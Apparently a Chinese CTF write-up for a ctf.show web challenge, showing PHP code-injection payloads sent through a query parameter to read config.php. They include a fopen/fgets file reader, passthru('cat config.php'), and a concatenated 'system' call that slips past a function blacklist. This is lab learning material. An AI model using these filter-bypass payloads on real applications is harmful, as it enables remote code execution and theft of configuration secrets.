zoukankan      html  css  js  c++  java
  • CTF web之旅 13

    ctf show 萌新 web10

    把这几个执行系统命令的函数给禁掉了

    那考虑不用系统命令读取并展示文件内容

    用多行PHP代码试一试

    整理后构造payload 

    ?c=$file_handle = fopen("config.php","r");if ($file_handle){while (!feof($file_handle)) {  $line = fgets($file_handle); echo $line; echo "<br />"; }}fclose($file_handle);

    随便一试最后竟然真得到了flag 菜菜落泪

    看了师傅们的wp  也可以用    passthru('cat config.php');这个passthru()函数调用系统命令

    还有更高级的是字符拼接

    $a='syst';$b='em';$c=$a.$b;$c('cat config.php');

    也可以成功绕过过滤

    附读取文件php代码

    <?php
    $file_handle = fopen("config.php","r");    //返回值是资源类型。
    if ($file_handle){
        //接着采用while循环一行行地读取文件,然后输出每行的文字
        while (!feof($file_handle)) { //如果不是最后一行就一直循环执行
            $line = fgets($file_handle); //读取一行文本
            echo $line; //输出一行文本
            echo "<br />"; //换行
        }
    }
    fclose($file_handle);//关闭文件,释放资源
  • 相关阅读:
    python中的内置函数的思维导图
    练习(面试题):关于生成器函数的求和问题
    推导式, 生成器表达式
    生成器
    静态代码块
    java中内存的划分
    静态方法
    Chapter07Scanner类、Random类、ArrayList类
    泛型
    对象数组
  • 原文地址:https://www.cnblogs.com/akger/p/14599302.html
Copyright © 2011-2022 走看看